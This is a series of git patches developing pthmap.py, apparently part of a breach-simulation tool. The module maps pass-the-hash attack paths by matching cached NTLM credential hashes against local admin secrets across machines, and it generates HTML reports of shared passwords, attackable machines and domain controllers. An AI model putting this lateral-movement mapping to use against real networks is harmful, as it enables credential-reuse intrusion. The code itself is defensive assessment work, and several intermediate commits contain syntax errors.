" + cache_counts = dict(map(lambda x: (x, self.GetSecretCacheCount(x)), pth.GetAllSecrets())) + + print """""" + print """SecretMachine Count""" + for secret, count in sorted(cache_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """{secret}{count}""".format(secret=secret, count=count) + print """""" + + print "

User's Creds

" + print "

To how many machines each user is able to connect with admin rights?

" + attackable_counts = dict(map(lambda x: (x, self.GetAttackableMachineCountBySid(x)), pth.GetAllSids())) + + print """""" + print """SIDUsernameMachine Count""" + for sid, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """{sid}{username}{count}""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) + print """""" + + print "

Machine's Creds

" + print "

To how many machines each machine is able to directly connect with admin rights?

" + attackable_counts = dict(map(lambda m: (m, pth.GetAttackableMachineCountByMachine(m)), pth.vertices)) + + print """""" + print """Attacker IpAttacker HostnameDomain NameVictim Machine Count""" + for m, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """{ip}{hostname}{domain}{count}""".format(ip=m.GetIp(), hostname=n.GetHostName(), domain=m.GetDomainName(), count=count) + print """""" + +if __name__ == "__main__": + main() \ No newline at end of file From 86be96eb44dad77d352621a8d5c7a7477cbd3975 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 21:55:56 +0200 Subject: [PATCH 016/183] Add dc table --- monkey_island/cc/resources/pthmap.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 63967d91f..68d2b102a 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -559,6 +559,16 @@ def main(): for m, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): print """{ip}{hostname}{domain}{count}""".format(ip=m.GetIp(), hostname=n.GetHostName(), domain=m.GetDomainName(), count=count) print """""" + + print "

Domain Controllers

" + print "

List of domain controllers (we count them as critical points, so they are listed here)

" + DCs = pth.GetAllDomainControllers() + + print """""" + print """DC IpDC HostnameDomain Name""" + for m in DCs: + print """{ip}{hostname}{domain}""".format(ip=m.GetIp(), hostname=n.GetHostName(), domain=m.GetDomainName()) + print """""" if __name__ == "__main__": main() \ No newline at end of file From 3f9204dd83c32379558d8f51ba5dee055a7594ca Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 22:29:17 +0200 Subject: [PATCH 017/183] add a lot of information to report --- monkey_island/cc/resources/pthmap.py | 86 ++++++++++++++++++++++++++-- 1 file changed, 81 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 68d2b102a..db3952e17 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -415,7 +415,7 @@ class PassTheHashMap(object): count = 0 for secret in attack.GetCachedSecrets(): - count += len(m.GetVictimsBySecret(secret)) + count += len(m.GetAttackableMachinesBySecret(secret)) return count @@ -427,6 +427,14 @@ class PassTheHashMap(object): count += 1 return count + + def GetAllUsernames(self): + names = set() + + for sid in self.GetAllSids(): + names.add(self.GetUsernameBySid(sid)) + + return names def GetAllSids(self): SIDs = set() @@ -483,7 +491,7 @@ class PassTheHashMap(object): return SIDs - def GetVictimsBySid(self, sid): + def GetAttackableMachinesBySid(self, sid): machines = set() for m in self.vertices: @@ -492,7 +500,7 @@ class PassTheHashMap(object): return machines - def GetVictimsBySecret(self, secret): + def GetAttackableMachinesBySecret(self, secret): machines = set() SIDs = self.GetSidsBySecret(secret) @@ -557,7 +565,7 @@ def main(): print """""" print """Attacker IpAttacker HostnameDomain NameVictim Machine Count""" for m, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): - print """{ip}{hostname}{domain}{count}""".format(ip=m.GetIp(), hostname=n.GetHostName(), domain=m.GetDomainName(), count=count) + print """{ip}{hostname}{domain}{count}""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) print """""" print "

Domain Controllers

" @@ -567,8 +575,76 @@ def main(): print """""" print """DC IpDC HostnameDomain Name""" for m in DCs: - print """{ip}{hostname}{domain}""".format(ip=m.GetIp(), hostname=n.GetHostName(), domain=m.GetDomainName()) + print """{ip}{hostname}{domain}""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName()) print """""" + + print "
" + + for m in pth.vertices: + print """

Machine '{ip}'

+

Hostname '{hostname}'

""".format{ip=m.GetIp(), hostname=m.GetHostName()} + + print """

Cached SIDs

""" + print """
    """ + for sid in m.GetCachedSids(): + print """
  • {username} ({sid})
  • """.format(username=m.GetUsernameBySid(sid), sid=sid) + print """
""" + + print """

Possible Attackers

""" + print """

TODO. see graph.

""" # pth.GetAttackersByVictim(m) + + print """

Admins

""" + print """
    """ + for sid in m.GetAdmins(): + print """
  • {username} ({sid})
  • """.format(username=m.GetUsernameBySid(sid), sid=sid) + print """
""" + print "
" + + for username in pth.GetAllUsernames(): + print """

User '{username}'

""".format(username=username) + + print """

Matching SIDs

""" + print """
    """ + for sid in pth.GetSidsByUsername(username) + print """
  • {username} ({sid})
  • """.format(username=m.GetUsernameBySid(sid), sid=sid) + print """
""" + + print "
" + + for sid in pth.GetAllSids(): + print """

SID '{sid}'

+

Username: '{username}'

+

Secret: '{secret}'

+ """.format(username=pth.GetUsernameBySid(sid), sid=sid, secret=pth.GetSecretBySid(sid)) + + print """

Attackable Machines

""" + print """
    """ + for m in pth.GetAttackableMachinesBySid(sid) + print """
  • {ip} ({hostname})
  • """.format(ip=m.GetIp(), hostname=m.GetHostName()) + print """
""" + + for secret in pth.GetAllSecrets(): + print """

Secret '{secret}'

""".format(secret=secret) + + print """

SIDs that use that secret

""" + print """
    """ + for sid in pth.GetSidsBySecret(secret): + print """
  • {username} ({sid})
  • """.format(username=m.GetUsernameBySid(sid), sid=sid) + print """
""" + + print """

Attackable Machines with that secret

""" + print """
    """ + for m in pth.GetAttackableMachinesBySecret(secret): + print """
  • {hostname}
  • """.format(ip=m.GetIp(), hostname=m.GetHostName()) + print """
""" + + print """

Machines that have this secret cached and can use it to attack other machines

""" + print """
    """ + for m in pth.GetAttackersBySecret(secret): + print """
  • {hostname}
  • """.format(ip=m.GetIp(), hostname=m.GetHostName()) + print """
""" + + if __name__ == "__main__": main() \ No newline at end of file From b56f05335ba4815e06a1b0cc87f0014a2db3e901 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 23:36:04 -0800 Subject: [PATCH 018/183] fix todo --- monkey_island/cc/resources/pthmap.py | 29 ++++++++++++++++++++-------- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index db3952e17..c4a770f51 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -1,9 +1,9 @@ -import flask_restful - -from cc.auth import jwt_required -from cc.services.edge import EdgeService -from cc.services.node import NodeService -from cc.database import mongo +#import flask_restful +# +#from cc.auth import jwt_required +#from cc.services.edge import EdgeService +#from cc.services.node import NodeService +#from cc.database import mongo import hashlib import binascii @@ -521,7 +521,13 @@ class PassTheHashMap(object): return machines def GetAttackersByVictim(self, victim): - assert False, "TODO, get information from the graph" + attackers = set() + + for atck, vic in self.edge: + if vic == victim: + attackers.add(atck) + + return attackers def main(): pth = PassTheHashMap() @@ -585,15 +591,22 @@ def main():

Hostname '{hostname}'

""".format{ip=m.GetIp(), hostname=m.GetHostName()} print """

Cached SIDs

""" + print """

SIDs cached on this machine

""" print """
    """ for sid in m.GetCachedSids(): print """
  • {username} ({sid})
  • """.format(username=m.GetUsernameBySid(sid), sid=sid) print """
""" print """

Possible Attackers

""" - print """

TODO. see graph.

""" # pth.GetAttackersByVictim(m) + print """

Machines that can attack this machine

""" + print """
    """ + for attacker in pth.GetAttackersByVictim(m): + print """
  • {ip} ({hostname})
  • """.format(ip=attacker.GetIp(), hostname=attacker.GetHostName()) + print """
""" + print """

Admins

""" + print """

Users that have admin rights on this machine

""" print """
    """ for sid in m.GetAdmins(): print """
  • {username} ({sid})
  • """.format(username=m.GetUsernameBySid(sid), sid=sid) From 9be9c48253cf7d6a9a44dc9087295efe805d456e Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 23:56:32 -0800 Subject: [PATCH 019/183] analsis runs --- monkey_island/cc/resources/pthmap.py | 87 +++++++++++++++------------- 1 file changed, 47 insertions(+), 40 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index c4a770f51..222762e47 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -9,8 +9,12 @@ import hashlib import binascii from pymongo import MongoClient -class PthMap(flask_restful.Resource): - @jwt_required() +class mongo(object): + db = MongoClient().monkeyisland + +#class PthMap(flask_restful.Resource): +class PthMap(object): +# @jwt_required() def get(self, **kw): graph = PassTheHashMap() @@ -310,6 +314,7 @@ class PassTheHashMap(object): def __init__(self): self.vertices = self.GetAllMachines() self.edges = set() + self.machines = map(Machine, self.vertices) self.GenerateEdgesBySid() # Useful for non-cached domain users self.GenerateEdgesBySamHash() # This will add edges based only on password hash without caring about username @@ -395,34 +400,29 @@ class PassTheHashMap(object): print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) def GetSecretBySid(self, sid): - for m in self.vertices: - for user, user_secret in m.GetLocalSecrets(): + for m in self.machines: + for user, user_secret in m.GetLocalSecrets().iteritems(): if m.GetSidByUsername(user) == sid: return user_secret return None - def GetAttackableMachineCountBySid(self, sid): + def GetVictimCountBySid(self, sid): count = 0 - for m in self.vertices: + for m in self.machines: if sid in m.GetLocalAdmins(): count += 1 return count - def GetAttackableMachineCountByMachine(self, attacker): - count = 0 - - for secret in attack.GetCachedSecrets(): - count += len(m.GetAttackableMachinesBySecret(secret)) - - return count + def GetVictimCountByMachine(self, attacker): + return len(self.GetVictimsByAttacker(attacker)) def GetSecretCacheCount(self, secret): count = 0 - for m in self.vertices: + for m in self.machines: if secret in m.GetCachedSecrets(): count += 1 @@ -439,7 +439,7 @@ class PassTheHashMap(object): def GetAllSids(self): SIDs = set() - for m in self.vertices: + for m in self.machines: SIDs |= m.GetLocalSids() return SIDs @@ -447,16 +447,14 @@ class PassTheHashMap(object): def GetAllSecrets(self): secrets = set() - for m in self.vertices: + for m in self.machines: for secret in m.GetLocalAdminSecrets(): - secret.add(secret) - #secrets[secret]["cache_count"] = self.GetSecretCacheCount(secret) - #secrets[secret]["sid_count"] = len(self.GetSidsBySecret(secret)) + secrets.add(secret) return secrets def GetUsernameBySid(self, sid): - for m in self.vertices: + for m in self.machines: username = m.GetUsernameBySid(sid) if username: @@ -467,7 +465,7 @@ class PassTheHashMap(object): def GetSidsBySecret(self, secret): SIDs = set() - for m in self.vertices: + for m in self.machines: SIDs.add(m.GetSidBySecret(secret)) return SIDs @@ -475,37 +473,37 @@ class PassTheHashMap(object): def GetAllDomainControllers(self): DCs = set() - for m in self.vertices: + for m in self.machines: if m.IsDomainController(): DCs.add(m) + + return DCs def GetSidsByUsername(self, username): - doc = self.latest_system_info - SIDs = set() - for m in self.vertices: + for m in self.machines: sid = m.GetSidByUsername(username) if sid: SIDs.add(sid) return SIDs - def GetAttackableMachinesBySid(self, sid): + def GetVictimsBySid(self, sid): machines = set() - for m in self.vertices: + for m in self.machines: if sid in m.GetAdmins(): machines.add(m) return machines - def GetAttackableMachinesBySecret(self, secret): + def GetVictimsBySecret(self, secret): machines = set() SIDs = self.GetSidsBySecret(secret) - for m in self.vertices: + for m in self.machines: if len(SIDs & m.GetAdmins()) > 0: machines.add(m) @@ -514,7 +512,7 @@ class PassTheHashMap(object): def GetAttackersBySecret(self, secret): machines = set() - for m in self.vertices: + for m in self.machines: if secret in m.GetCachedSecrets(): machines.add(m) @@ -523,12 +521,21 @@ class PassTheHashMap(object): def GetAttackersByVictim(self, victim): attackers = set() - for atck, vic in self.edge: + for atck, vic, _ in self.edges: if vic == victim: attackers.add(atck) return attackers + def GetVictimsByAttacker(self, attacker): + victims = set() + + for atck, vic, _ in self.edges: + if atck == attacker: + victims.add(vic) + + return victims + def main(): pth = PassTheHashMap() @@ -536,7 +543,7 @@ def main(): print "

    Duplicated Passwords

    " print "

    How many users share each secret?

    " - dups = dict(map(lambda x: (x, len(self.GetSidsBySecret(x))), pth.GetAllSecrets())) + dups = dict(map(lambda x: (x, len(pth.GetSidsBySecret(x))), pth.GetAllSecrets())) print """""" print """SecretUser Count""" @@ -546,7 +553,7 @@ def main(): print "

    Cached Passwords

    " print "

    On how many machines each secret is cached?

    " - cache_counts = dict(map(lambda x: (x, self.GetSecretCacheCount(x)), pth.GetAllSecrets())) + cache_counts = dict(map(lambda x: (x, pth.GetSecretCacheCount(x)), pth.GetAllSecrets())) print """""" print """SecretMachine Count""" @@ -556,7 +563,7 @@ def main(): print "

    User's Creds

    " print "

    To how many machines each user is able to connect with admin rights?

    " - attackable_counts = dict(map(lambda x: (x, self.GetAttackableMachineCountBySid(x)), pth.GetAllSids())) + attackable_counts = dict(map(lambda x: (x, pth.GetVictimCountBySid(x)), pth.GetAllSids())) print """""" print """SIDUsernameMachine Count""" @@ -566,7 +573,7 @@ def main(): print "

    Machine's Creds

    " print "

    To how many machines each machine is able to directly connect with admin rights?

    " - attackable_counts = dict(map(lambda m: (m, pth.GetAttackableMachineCountByMachine(m)), pth.vertices)) + attackable_counts = dict(map(lambda m: (m, pth.GetVictimCountByMachine(m)), pth.machines)) print """""" print """Attacker IpAttacker HostnameDomain NameVictim Machine Count""" @@ -586,9 +593,9 @@ def main(): print "
    " - for m in pth.vertices: + for m in pth.machines: print """

    Machine '{ip}'

    -

    Hostname '{hostname}'

    """.format{ip=m.GetIp(), hostname=m.GetHostName()} +

    Hostname '{hostname}'

    """.format(ip=m.GetIp(), hostname=m.GetHostName()) print """

    Cached SIDs

    """ print """

    SIDs cached on this machine

    """ @@ -619,7 +626,7 @@ def main(): print """

    Matching SIDs

    """ print """
      """ - for sid in pth.GetSidsByUsername(username) + for sid in pth.GetSidsByUsername(username): print """
    • {username} ({sid})
    • """.format(username=m.GetUsernameBySid(sid), sid=sid) print """
    """ @@ -633,7 +640,7 @@ def main(): print """

    Attackable Machines

    """ print """
      """ - for m in pth.GetAttackableMachinesBySid(sid) + for m in pth.GetVictimsBySid(sid): print """
    • {ip} ({hostname})
    • """.format(ip=m.GetIp(), hostname=m.GetHostName()) print """
    """ @@ -648,7 +655,7 @@ def main(): print """

    Attackable Machines with that secret

    """ print """
      """ - for m in pth.GetAttackableMachinesBySecret(secret): + for m in pth.GetVictimsBySecret(secret): print """
    • {hostname}
    • """.format(ip=m.GetIp(), hostname=m.GetHostName()) print """
    """ From 3291e4f0bc5e71e25db57e8ecee94a90e887e7b7 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 7 Mar 2018 00:01:43 -0800 Subject: [PATCH 020/183] fix html tableS --- monkey_island/cc/resources/pthmap.py | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 222762e47..3e3b78549 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -545,51 +545,51 @@ def main(): print "

    How many users share each secret?

    " dups = dict(map(lambda x: (x, len(pth.GetSidsBySecret(x))), pth.GetAllSecrets())) - print """""" + print """""" print """""" for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): - print """""".format(secret=secret, count=count) - print """""" + print """""".format(secret=secret, count=count) + print """
    SecretUser Count
    {secret}{count}
    {secret}{count}
    """ print "

    Cached Passwords

    " print "

    On how many machines each secret is cached?

    " cache_counts = dict(map(lambda x: (x, pth.GetSecretCacheCount(x)), pth.GetAllSecrets())) - print """""" + print """""" print """""" for secret, count in sorted(cache_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): - print """""".format(secret=secret, count=count) - print """""" + print """""".format(secret=secret, count=count) + print """
    SecretMachine Count
    {secret}{count}
    {secret}{count}
    """ print "

    User's Creds

    " print "

    To how many machines each user is able to connect with admin rights?

    " attackable_counts = dict(map(lambda x: (x, pth.GetVictimCountBySid(x)), pth.GetAllSids())) - print """""" + print """""" print """""" for sid, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): - print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) - print """""" + print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) + print """
    SIDUsernameMachine Count
    {sid}{username}{count}
    {sid}{username}{count}
    """ print "

    Machine's Creds

    " print "

    To how many machines each machine is able to directly connect with admin rights?

    " attackable_counts = dict(map(lambda m: (m, pth.GetVictimCountByMachine(m)), pth.machines)) - print """""" + print """""" print """""" for m, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): - print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) - print """""" + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + print """
    Attacker IpAttacker HostnameDomain NameVictim Machine Count
    {ip}{hostname}{domain}{count}
    {ip}{hostname}{domain}{count}
    """ print "

    Domain Controllers

    " print "

    List of domain controllers (we count them as critical points, so they are listed here)

    " DCs = pth.GetAllDomainControllers() - print """""" + print """""" print """""" for m in DCs: print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName()) - print """""" + print """
    DC IpDC HostnameDomain Name
    {ip}{hostname}{domain}
    """ print "
    " From 458cc20cebae8ebe7d614993d3e579e4164ffe4b Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 7 Mar 2018 00:03:55 -0800 Subject: [PATCH 021/183] small fixes --- monkey_island/cc/resources/pthmap.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 3e3b78549..3ad75d366 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -466,7 +466,10 @@ class PassTheHashMap(object): SIDs = set() for m in self.machines: - SIDs.add(m.GetSidBySecret(secret)) + sid = m.GetSidBySecret(secret) + + if sid: + SIDs.add(sid) return SIDs @@ -650,7 +653,7 @@ def main(): print """

    SIDs that use that secret

    """ print """
      """ for sid in pth.GetSidsBySecret(secret): - print """
    • {username} ({sid})
    • """.format(username=m.GetUsernameBySid(sid), sid=sid) + print """
    • {username} ({sid})
    • """.format(username=pth.GetUsernameBySid(sid), sid=sid) print """
    """ print """

    Attackable Machines with that secret

    """ From 1ee53972a8dfa70410d5537f2405a271ac1eef18 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 7 Mar 2018 06:47:29 -0800 Subject: [PATCH 022/183] small fixeS --- monkey_island/cc/resources/pthmap.py | 52 ++++++++++++++++++++++------ 1 file changed, 41 insertions(+), 11 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 3ad75d366..65a3c86a5 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -408,13 +408,7 @@ class PassTheHashMap(object): return None def GetVictimCountBySid(self, sid): - count = 0 - - for m in self.machines: - if sid in m.GetLocalAdmins(): - count += 1 - - return count + return len(self.GetVictimsBySid(sid)) def GetVictimCountByMachine(self, attacker): return len(self.GetVictimsByAttacker(attacker)) @@ -538,6 +532,32 @@ class PassTheHashMap(object): victims.add(vic) return victims + + def GetInPathCountByVictim(self, victim, already_processed=None): + if type(victim) != unicode: + victim = victim.monkey_guid + + if not already_processed: + already_processed = set([victim]) + + count = 0 + + for atck, vic, _ in self.edges: + if atck == vic: + continue + + if vic != victim: + continue + + if atck in already_processed: + continue + + count += 1 + + already_processed.add(atck) + count += self.GetInPathCountByVictim(atck, already_processed) + + return count def main(): pth = PassTheHashMap() @@ -586,12 +606,22 @@ def main(): print "

    Domain Controllers

    " print "

    List of domain controllers (we count them as critical points, so they are listed here)

    " - DCs = pth.GetAllDomainControllers() + DCs = dict(map(lambda m: (m, pth.GetInPathCountByVictim(m)), pth.GetAllDomainControllers())) print """""" - print """""" - for m in DCs: - print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName()) + print """""" + for m, path_count in sorted(DCs.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), path_count=path_count) + print """
    DC IpDC HostnameDomain Name
    {ip}{hostname}{domain}
    DC IpDC HostnameDomain NameIn-Path Count
    {ip}{hostname}{domain}{path_count}
    """ + + print "

    Most Vulnerable Machines

    " + print "

    List all machines in the network sorted by the potincial to attack them

    " + all_machines = dict(map(lambda m: (m, pth.GetInPathCountByVictim(m)), pth.machines)) + + print """""" + print """""" + for m, path_count in sorted(all_machines.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), path_count=path_count) print """
    IpHostnameDomain NameIn-Path Count
    {ip}{hostname}{domain}{path_count}
    """ print "
    " From e0b64ee63be88d51b8218b80cdcd807932a8f4fa Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 7 Mar 2018 06:48:03 -0800 Subject: [PATCH 023/183] cosmetics --- monkey_island/cc/resources/pthmap.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 65a3c86a5..7b513efa2 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -591,7 +591,7 @@ def main(): print """""" print """""" for sid, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): - print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) + print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) print """
    SIDUsernameMachine Count
    {sid}{username}{count}
    {sid}{username}{count}
    """ print "

    Machine's Creds

    " @@ -667,8 +667,8 @@ def main(): for sid in pth.GetAllSids(): print """

    SID '{sid}'

    -

    Username: '{username}'

    -

    Secret: '{secret}'

    +

    Username: '{username}'

    +

    Secret: '{secret}'

    """.format(username=pth.GetUsernameBySid(sid), sid=sid, secret=pth.GetSecretBySid(sid)) print """

    Attackable Machines

    """ From ce1c8a54f828e664dabd3949d9bf8ce0d2032ca5 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 7 Mar 2018 07:45:48 -0800 Subject: [PATCH 024/183] show only real attacks in the graph --- monkey_island/cc/resources/pthmap.py | 73 +++++++++++++--------------- 1 file changed, 35 insertions(+), 38 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 7b513efa2..46e49ad6d 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -116,18 +116,20 @@ class Machine(object): return None - def GetUsernameBySecret(self, secret): + def GetUsernamesBySecret(self, secret): sam = self.GetLocalSecrets() - for user, user_secret in sam.iteritems(): + names = set() + + for username, user_secret in sam.iteritems(): if secret == user_secret: - return user + names.add(username) - return None + return names - def GetSidBySecret(self, secret): - username = self.GetUsernameBySecret(secret) - return self.GetSidByUsername(username) + def GetSidsBySecret(self, secret): + usernames = self.GetUsernamesBySecret(secret) + return set(map(self.GetSidByUsername, usernames)) def GetGroupSidByGroupName(self, group_name): doc = self.latest_system_info @@ -234,25 +236,31 @@ class Machine(object): secrets.update(ntds) return secrets - + def GetLocalAdminSecrets(self): + return set(self.GetLocalAdminCreds().values()) + + def GetLocalAdminCreds(self): admin_names = self.GetLocalAdminNames() sam = self.GetLocalSecrets() - admin_secrets = set() + admin_creds = dict() - for user, secret in sam.iteritems(): - if user not in admin_names: + for username, secret in sam.iteritems(): + if username not in admin_names: continue - admin_secrets.add(secret) + admin_creds[username] = secret - return admin_secrets + return admin_creds def GetCachedSecrets(self): + return set(self.GetCachedCreds().values()) + + def GetCachedCreds(self): doc = self.latest_system_info - secrets = set() + creds = dict() for username in doc["data"]["credentials"]: user = doc["data"]["credentials"][username] @@ -265,9 +273,10 @@ class Machine(object): continue secret = hashlib.md5(ntlm.decode("hex")).hexdigest() - secrets.add(secret) + + creds[username] = secret - return secrets + return creds def GetDomainControllers(self): domain_name = self.GetDomainName() @@ -347,10 +356,7 @@ class PassTheHashMap(object): label = set() for secret in secret_list: - username = Machine(victim).GetUsernameBySecret(secret) - - if username: - label.add(username) + label |= Machine(victim).GetUsernamesBySecret(secret) return ",\n".join(label) @@ -370,16 +376,16 @@ class PassTheHashMap(object): def GenerateEdgesBySamHash(self): for attacker in self.vertices: - cached = Machine(attacker).GetCachedSecrets() + cached_creds = set(Machine(attacker).GetCachedCreds().items()) for victim in self.vertices: if attacker == victim: continue - admins = Machine(victim).GetLocalAdminSecrets() + admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) - if len(cached & admins) > 0: - label = self.ReprSecretList(cached & admins, victim) + if len(cached_creds & admin_creds) > 0: + label = self.ReprSecretList(set(dict(cached_creds & admin_creds).values()), victim) self.edges.add((attacker, victim, label)) def GenerateEdgesByUsername(self): @@ -413,14 +419,8 @@ class PassTheHashMap(object): def GetVictimCountByMachine(self, attacker): return len(self.GetVictimsByAttacker(attacker)) - def GetSecretCacheCount(self, secret): - count = 0 - - for m in self.machines: - if secret in m.GetCachedSecrets(): - count += 1 - - return count + def GetAttackCountBySecret(self, secret): + return len(self.GetAttackersBySecret(secret)) def GetAllUsernames(self): names = set() @@ -460,10 +460,7 @@ class PassTheHashMap(object): SIDs = set() for m in self.machines: - sid = m.GetSidBySecret(secret) - - if sid: - SIDs.add(sid) + SIDs |= m.GetSidsBySecret(secret) return SIDs @@ -575,8 +572,8 @@ def main(): print """""" print "

    Cached Passwords

    " - print "

    On how many machines each secret is cached?

    " - cache_counts = dict(map(lambda x: (x, pth.GetSecretCacheCount(x)), pth.GetAllSecrets())) + print "

    On how many machines each secret is cached (possible attacker count)?

    " + cache_counts = dict(map(lambda x: (x, pth.GetAttackCountBySecret(x)), pth.GetAllSecrets())) print """""" print """""" From 8807e68177b8f59d31dc52074d93bc311859efde Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sat, 10 Mar 2018 23:18:53 -0800 Subject: [PATCH 025/183] add posssible attacks per sid --- monkey_island/cc/resources/pthmap.py | 36 +++++++++++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 46e49ad6d..6caad92fc 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -405,6 +405,30 @@ class PassTheHashMap(object): print map(lambda x: Machine(x).GetIp(), self.vertices) print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) + def GetPossibleAttackCountBySid(self, sid): + return len(self.GetPossibleAttacksBySid(sid)) + + def GetPossibleAttacksBySid(self, sid): + attacks = set() + + for attacker in self.vertices: + cached_creds = set(Machine(attacker).GetCachedCreds().items()) + + for victim in self.vertices: + if attacker == victim: + continue + + admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) + + if len(cached_creds & admin_creds) > 0: + curr_attacks = dict(cached_creds & admin_creds) + + for username, secret in curr_attacks.iteritems(): + if Machine(victim).GetSidByUsername(username) == sid: + attacks.add((attacker, victim)) + + return attacks + def GetSecretBySid(self, sid): for m in self.machines: for user, user_secret in m.GetLocalSecrets().iteritems(): @@ -582,7 +606,7 @@ def main(): print """
    SecretMachine Count
    """ print "

    User's Creds

    " - print "

    To how many machines each user is able to connect with admin rights?

    " + print "

    To how many machines each user is able to connect with admin rights

    " attackable_counts = dict(map(lambda x: (x, pth.GetVictimCountBySid(x)), pth.GetAllSids())) print """""" @@ -591,6 +615,16 @@ def main(): print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) print """
    {sid}{username}{count}
    """ + print "

    Actual Possible Attacks By SID

    " + print "

    How many attacks possible using each SID (aka len(attacker->victim pairs))

    " + possible_attacks_by_sid = dict(map(lambda x: (x, pth.GetPossibleAttackCountBySid(x)), pth.GetAllSids())) + + print """""" + print """""" + for sid, count in sorted(possible_attacks_by_sid.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) + print """
    SIDUsernameMachine Count
    {sid}{username}{count}
    """ + print "

    Machine's Creds

    " print "

    To how many machines each machine is able to directly connect with admin rights?

